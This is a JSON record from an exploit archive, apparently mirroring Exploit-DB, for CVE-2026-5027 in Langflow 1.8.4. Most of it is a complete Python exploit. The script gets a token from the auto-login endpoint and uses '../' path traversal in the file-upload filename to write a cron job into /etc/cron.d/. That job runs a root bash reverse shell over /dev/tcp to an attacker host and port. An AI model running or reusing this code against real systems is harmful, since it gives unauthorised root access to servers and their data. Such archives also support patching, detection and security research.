{"exploit":{"id":"EDB-52659","name":"Langflow 1.8.4 - Path Traversal to Remote Code Execution (RCE)","description":"Langflow 1.8.4 - Path Traversal to Remote Code Execution (RCE)","cves":["CVE-2026-5027"],"author":"cardosource","published":"2026-08-31","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52659","path":"exploits/multiple/webapps/52659.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52659.py","vulnerabilities":[{"id":"CVE-2026-5027","state":"PUBLISHED","title":"Langflow - Path Traversal Arbitrary File Write via upload_user_file","titleSource":"CVE Program","description":"The 'POST /api/v2/files' endpoint does not sanitize the 'filename' parameter from the multipart form data, allowing an attacker to write files to arbitrary locations on the filesystem using path traversal sequences ('../').","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-5027","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"tenable","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-5027"},"updatedAt":"2026-03-27T15:11:42.918Z","retrievedAt":"2026-11-25T16:13:47.010Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52659.png?v=2","url":"https://exploitbin.com/exploits/EDB-52659","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52659/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52659/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Langflow  1.8.4 - Path Traversal to Remote Code Execution\n# Google Dork: N/A\n# Date: 2026-07-20\n# Exploit Author: cardosource\n# Vendor Homepage: https://www.langflow.org/\n# Software Link: https://github.com/langflow-ai/langflow\n# Version: <= 1.8.4\n# Tested on: Docker - Ubuntu 22.04 + Langflow 1.8.4\n# CVE: CVE-2026-5027\n\n\"\"\"\nLangflow <= 1.8.4 - CVE-2026-5027\nPath Traversal leading to Remote Code Execution (RCE)\n\nThe vulnerability allows an authenticated attacker to abuse a path traversal\nin the file upload endpoint to write arbitrary files outside the intended\ndirectory. By writing a cron job under /etc/cron.d/, arbitrary commands can\nbe executed with root privileges, resulting in Remote Code Execution.\n\nThe exploit:\n1. Obtains an access token via the auto-login endpoint.\n2. Abuses path traversal in the file upload endpoint.\n3. Writes a malicious cron job to /etc/cron.d/.\n4. Waits for cron to execute the reverse shell payload.\n\"\"\"\n\nimport warnings\nimport requests\nimport sys\nimport time\nimport re\nfrom typing import Optional, Tuple, Dict, Any\nfrom pathlib import PurePosixPath\n\n\ndef create_config(\n    target: str = \"http://localhost:9013\",\n    lhost: str = \"192.168.1.100\",\n    lport: int = 4444\n) -> Dict[str, Any]:\n    return {\n        \"target\": target.rstrip('/'),\n        \"lhost\": lhost,\n        \"lport\": lport,\n        \"traversal_depth\": 9,\n        \"endpoint\": \"/api/v2/files\",\n        \"auth_endpoint\": \"/api/v1/auto_login\"\n    }\n\n\n\n\ndef create_session() -> requests.Session:\n    session = requests.Session()\n    session.verify = False\n    return session\n\n\ndef authenticate(config: Dict[str, Any], session: requests.Session) -> Optional[str]:\n    try:\n        response = session.get(\n            f\"{config['target']}{config['auth_endpoint']}\",\n            timeout=10\n        )\n        if response.status_code == 200:\n            return response.json().get(\"access_token\")\n    except (requests.RequestException, KeyError, ValueError):\n        pass\n    return None\n\ndef sanitize_hostname(host: str) -> str:\n    return re.sub(r\"[^A-Za-z0-9_-]\", \"_\", host)\n\n\ndef generate_timestamp() -> str:\n    return time.strftime(\"%Y%m%d%H%M%S\")\n\n\ndef build_cron_path(lhost: str, lport: int) -> str:\n\n    timestamp = generate_timestamp()\n    safe_host = sanitize_hostname(lhost)\n    return f\"/etc/cron.d/langflow_{safe_host}_{lport}_{timestamp}_.\"\n\n\ndef build_traversal_path(remote_path: str, depth: int = 9) -> str:\n    path = PurePosixPath(remote_path)\n    return \"../\" * depth + str(path).lstrip(\"/\")\n\n\ndef build_cron_content(lhost: str, lport: int) -> str:\n    return f\"\"\"SHELL=/bin/bash\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\n\"\"\"\n\ndef upload_file(\n    config: Dict[str, Any],\n    session: requests.Session,\n    token: str,\n    remote_path: str,\n    content: bytes\n) -> Tuple[bool, Optional[Dict[str, Any]]]:\n    filename = build_traversal_path(remote_path, config['traversal_depth'])\n    headers = {\"Authorization\": f\"Bearer {token}\"}\n    files = {'file': (filename, content, 'application/octet-stream')}\n\n    try:\n        response = session.post(\n            f\"{config['target']}{config['endpoint']}\",\n            headers=headers,\n            files=files,\n            timeout=15\n        )\n        if response.status_code in (200, 201):\n            return True, response.json()\n    except requests.RequestException:\n        pass\n    return False, None\n\n\ndef deploy_reverse_shell(\n    config: Dict[str, Any],\n    session: requests.Session,\n    token: str\n) -> Tuple[bool, str]:\n    cron_path = build_cron_path(config['lhost'], config['lport'])\n    cron_content = build_cron_content(config['lhost'], config['lport'])\n\n    success, response_data = upload_file(\n        config, session, token, cron_path, cron_content.encode()\n    )\n\n    if success:\n        return True, cron_path\n    return False, cron_path\n\n\ndef print_success(lhost: str, lport: int, cron_path: str) -> None:\n    print(f\"[+] Cron job deployed to {cron_path}\")\n    print(f\"[+] Reverse shell incoming on {lhost}:{lport}\")\n\ndef print_failure(message: str = \"Exploit failed\") -> None:\n    print(f\"[-] {message}\")\n\n\ndef print_token(token: str) -> None:\n    print(f\"[+] Token obtained: {token[:40]}...\")\n\n\ndef print_config(config: Dict[str, Any]) -> None:\n    print(f\"[*] Target: {config['target']}\")\n    print(f\"[*] Listener: {config['lhost']}:{config['lport']}\")\n\ndef validate_config(config: Dict[str, Any]) -> bool:\n    if not config['target'].startswith((\"http://\", \"https://\")):\n        print_failure(\"Target must start with http:// or https://\")\n        return False\n    if config['lport'] < 1 or config['lport'] > 65535:\n        print_failure(\"Port must be between 1 and 65535\")\n        return False\n    if config['traversal_depth'] < 1:\n        print_failure(\"Traversal depth must be at least 1\")\n        return False\n    return True\n\n\ndef authenticate_pipeline(config: Dict[str, Any]) -> Tuple[bool, Optional[str], requests.Session]:\n    session = create_session()\n    print(\"[*] Authenticating...\")\n    token = authenticate(config, session)\n\n    if not token:\n        session.close()\n        return False, None, session\n\n    print_token(token)\n    return True, token, session\n\n\ndef deploy_pipeline(config: Dict[str, Any], session: requests.Session, token: str) -> bool:\n    print(\"[*] Deploying reverse shell...\")\n    success, cron_path = deploy_reverse_shell(config, session, token)\n    if success:\n        print_success(config['lhost'], config['lport'], cron_path)\n        return True\n\n    print_failure()\n    return False\n\n\ndef exploit(\n    target: str = \"http://localhost:9013\",\n    lhost: str = \"192.168.1.38\",\n    lport: int = 4444\n) -> None:\n    config = create_config(target, lhost, lport)\n    print_config(config)\n\n    if not validate_config(config):\n        sys.exit(1)\n\n    success, token, session = authenticate_pipeline(config)\n    if not success:\n        sys.exit(1)\n\n    try:\n        if not deploy_pipeline(config, session, token):\n            sys.exit(1)\n    finally:\n        session.close()\n\n    print(\"[+] Exploit completed successfully\")\n\n\nif __name__ == \"__main__\":\n    exploit()","sha256":"b2dfbf0529541466ff3557b85dfb5e6cbe34ea2f5741e346c2bb2836ac29649a","bytes":6190,"fetchedAt":"2026-11-25T10:17:07.308Z","encoding":"utf-8 (display only; download retains original bytes)"}